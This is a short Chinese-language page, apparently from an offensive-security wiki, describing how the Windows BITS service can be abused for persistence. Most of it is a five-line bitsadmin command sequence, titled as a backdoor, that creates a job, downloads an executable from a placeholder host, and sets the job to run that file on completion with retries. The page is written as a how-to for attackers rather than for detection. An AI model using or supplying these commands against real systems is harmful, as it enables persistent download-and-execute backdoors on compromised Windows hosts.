# BITS

## BITS <a href="#h1-bits" id="h1-bits"></a>

后台智能传输服务，它可以促进文件到Web服务器（HTTP）和共享文件夹（SMB）的传输能力。

可以滥用此功能，以便在受感染的主机上下载有效负载（可执行文件，PowerShell脚本，Scriptlet等）并在给定时间执行这些文件

## 新建BITS Jobs后门 <a href="#h1-bits-jobs" id="h1-bits-jobs"></a>

```
bitsadmin /create qwqdanchun
bitsadmin /addfile qwqdanchun "http://127.0.0.1/qwqdanchun.exe"  "C:\Temp\qwqdanchun.exe"
bitsadmin /SetNotifyCmdLine qwqdanchun C:\Temp\qwqdanchun.exe NUL
bitsadmin /SetMinRetryDelay "qwqdanchun" 60
bitsadmin /resume qwqdanchun
```


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